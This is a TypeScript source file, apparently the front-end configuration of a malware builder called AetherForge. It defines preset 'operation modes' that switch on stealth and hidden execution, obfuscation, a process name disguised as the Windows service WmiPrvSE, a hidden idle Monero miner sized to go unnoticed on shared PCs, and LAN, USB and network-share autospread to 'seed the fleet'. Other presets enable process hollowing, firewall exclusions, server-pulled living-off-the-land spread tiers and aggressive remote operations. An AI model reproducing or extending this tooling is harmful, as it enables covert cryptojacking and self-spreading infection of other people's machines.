281 lines
7.4 KiB
TypeScript
281 lines
7.4 KiB
TypeScript
import type { BuildRequest } from '../types';
|
|
import { normalizeForgeForm } from './forgeFormNormalize';
|
|
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
|
|
|
export type OperationModeId =
|
|
| 'ghost_walk'
|
|
| 'open_flame'
|
|
| 'sigil_mask'
|
|
| 'hearth_whisper'
|
|
| 'wildfire'
|
|
| 'crucible_storm'
|
|
| 'av_safe'
|
|
| 'lotl_onion';
|
|
|
|
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
|
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
|
|
|
export type ForgeThemeOverride = ForgeSkinId | 'auto';
|
|
|
|
export interface OperationMode {
|
|
id: OperationModeId;
|
|
label: string;
|
|
color: string;
|
|
skin: ForgeSkinId;
|
|
blurb: string;
|
|
apply: (form: BuildRequest) => BuildRequest;
|
|
}
|
|
|
|
export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode';
|
|
export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme';
|
|
export const FORGE_THEME_EVENT = 'aetherforge-forge-theme';
|
|
|
|
export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk';
|
|
|
|
export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible'];
|
|
|
|
export function isForgeSkinId(value: string): value is ForgeSkinId {
|
|
return FORGE_SKIN_IDS.includes(value as ForgeSkinId);
|
|
}
|
|
|
|
export function forgeSkinClassName(skin: ForgeSkinId): string {
|
|
return `forge-skin--${skin}`;
|
|
}
|
|
|
|
export function skinForOperationMode(id: OperationModeId): ForgeSkinId {
|
|
const mode = OPERATION_MODES.find((m) => m.id === id);
|
|
return mode?.skin ?? 'aether';
|
|
}
|
|
|
|
export const OPERATION_MODES: OperationMode[] = [
|
|
{
|
|
id: 'ghost_walk',
|
|
label: 'Ghost Walk',
|
|
color: '#4d7fff',
|
|
skin: 'ghost',
|
|
blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint',
|
|
apply: (f) => ({
|
|
...f,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
obfuscate: true,
|
|
sigil_scramble: true,
|
|
fusion_enabled: false,
|
|
spread_kit: false,
|
|
remote_aggressive: false,
|
|
auto_spread: false,
|
|
usb_spread: false,
|
|
share_spread: false,
|
|
hole_punch: false,
|
|
}),
|
|
},
|
|
{
|
|
id: 'open_flame',
|
|
label: 'Open Flame',
|
|
color: '#ff5c5c',
|
|
skin: 'aether',
|
|
blurb: 'Visible console, logging on, no garble — for lab testing and debugging',
|
|
apply: (f) => ({
|
|
...f,
|
|
stealth_mode: false,
|
|
display_mode: 'visible',
|
|
silent_mode: false,
|
|
file_logging: true,
|
|
obfuscate: false,
|
|
sigil_scramble: false,
|
|
}),
|
|
},
|
|
{
|
|
id: 'sigil_mask',
|
|
label: 'Sigil Mask',
|
|
color: '#b794f6',
|
|
skin: 'halloween',
|
|
blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation',
|
|
apply: (f) => ({
|
|
...f,
|
|
obfuscate: true,
|
|
sigil_scramble: true,
|
|
process_name: 'WmiPrvSE',
|
|
fusion_enabled: false,
|
|
spread_kit: false,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
}),
|
|
},
|
|
{
|
|
id: 'hearth_whisper',
|
|
label: 'Hearth Whisper',
|
|
color: '#4ade80',
|
|
skin: 'aether',
|
|
blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs',
|
|
apply: (f) => ({
|
|
...f,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
mining_mode: 'idle',
|
|
idle_threshold_pct: 25,
|
|
max_cpu_usage_pct: 45,
|
|
thread_mode: 'percent',
|
|
thread_percent: 50,
|
|
fusion_enabled: false,
|
|
remote_aggressive: false,
|
|
}),
|
|
},
|
|
{
|
|
id: 'wildfire',
|
|
label: 'Wildfire',
|
|
color: '#ff8c3a',
|
|
skin: 'wildfire',
|
|
blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet',
|
|
apply: (f) => ({
|
|
...f,
|
|
spread_kit: true,
|
|
fusion_enabled: false,
|
|
target_os: 'universal',
|
|
target_arch: 'all',
|
|
auto_spread: true,
|
|
usb_spread: true,
|
|
share_spread: true,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: false,
|
|
}),
|
|
},
|
|
{
|
|
id: 'crucible_storm',
|
|
label: 'Crucible Storm',
|
|
color: '#d4af37',
|
|
skin: 'crucible',
|
|
blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions',
|
|
apply: (f) => ({
|
|
...f,
|
|
remote_aggressive: true,
|
|
hole_punch: true,
|
|
mesh_p2p: true,
|
|
}),
|
|
},
|
|
{
|
|
id: 'av_safe',
|
|
label: 'AV-Safe',
|
|
color: '#22d3a8',
|
|
skin: 'aether',
|
|
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
|
|
apply: (f) => ({
|
|
...f,
|
|
miner_execution: 'inprocess',
|
|
gpu_enabled: false,
|
|
process_hollowing: false,
|
|
spread_kit: false,
|
|
auto_spread: false,
|
|
usb_spread: false,
|
|
share_spread: false,
|
|
remote_aggressive: false,
|
|
obfuscate: false,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: true,
|
|
firewall_exclusion: true,
|
|
fusion_enabled: false,
|
|
mining_mode: 'idle',
|
|
max_cpu_usage_pct: 50,
|
|
thread_percent: 50,
|
|
}),
|
|
},
|
|
{
|
|
id: 'lotl_onion',
|
|
label: 'LOTL Onion',
|
|
color: '#38bdf8',
|
|
skin: 'aether',
|
|
blurb:
|
|
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
|
|
apply: (f) => ({
|
|
...f,
|
|
miner_execution: 'inprocess',
|
|
gpu_enabled: false,
|
|
process_hollowing: false,
|
|
spread_kit: false,
|
|
auto_spread: true,
|
|
share_spread: true,
|
|
usb_spread: false,
|
|
remote_aggressive: false,
|
|
obfuscate: false,
|
|
stealth_mode: true,
|
|
display_mode: 'background',
|
|
silent_mode: true,
|
|
file_logging: true,
|
|
firewall_exclusion: true,
|
|
fusion_enabled: false,
|
|
mining_mode: 'idle',
|
|
max_cpu_usage_pct: 50,
|
|
thread_percent: 50,
|
|
lotl_onion_enabled: true,
|
|
lotl_policy_from_server: true,
|
|
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
|
|
}),
|
|
},
|
|
];
|
|
|
|
export function isOperationModeId(value: string): value is OperationModeId {
|
|
return OPERATION_MODES.some((m) => m.id === value);
|
|
}
|
|
|
|
export function loadStoredOperationMode(): OperationModeId {
|
|
try {
|
|
const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY);
|
|
if (v && isOperationModeId(v)) return v;
|
|
} catch {
|
|
/* ignore */
|
|
}
|
|
return DEFAULT_OPERATION_MODE;
|
|
}
|
|
|
|
export function storeOperationMode(id: OperationModeId): void {
|
|
try {
|
|
localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id);
|
|
} catch {
|
|
/* ignore */
|
|
}
|
|
}
|
|
|
|
export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest {
|
|
const mode = OPERATION_MODES.find((m) => m.id === id);
|
|
return mode ? normalizeForgeForm(mode.apply(form)) : form;
|
|
}
|
|
|
|
export function loadStoredForgeTheme(): ForgeThemeOverride {
|
|
try {
|
|
const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY);
|
|
if (v === 'auto') return 'auto';
|
|
if (v && isForgeSkinId(v)) return v;
|
|
} catch {
|
|
/* ignore */
|
|
}
|
|
return 'auto';
|
|
}
|
|
|
|
export function storeForgeTheme(theme: ForgeThemeOverride): void {
|
|
try {
|
|
localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme);
|
|
window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT));
|
|
} catch {
|
|
/* ignore */
|
|
}
|
|
}
|
|
|
|
export function resolveForgeSkin(
|
|
operationModeId: OperationModeId,
|
|
themeOverride?: ForgeThemeOverride
|
|
): ForgeSkinId {
|
|
const override = themeOverride ?? loadStoredForgeTheme();
|
|
if (override !== 'auto') return override;
|
|
return skinForOperationMode(operationModeId);
|
|
}
|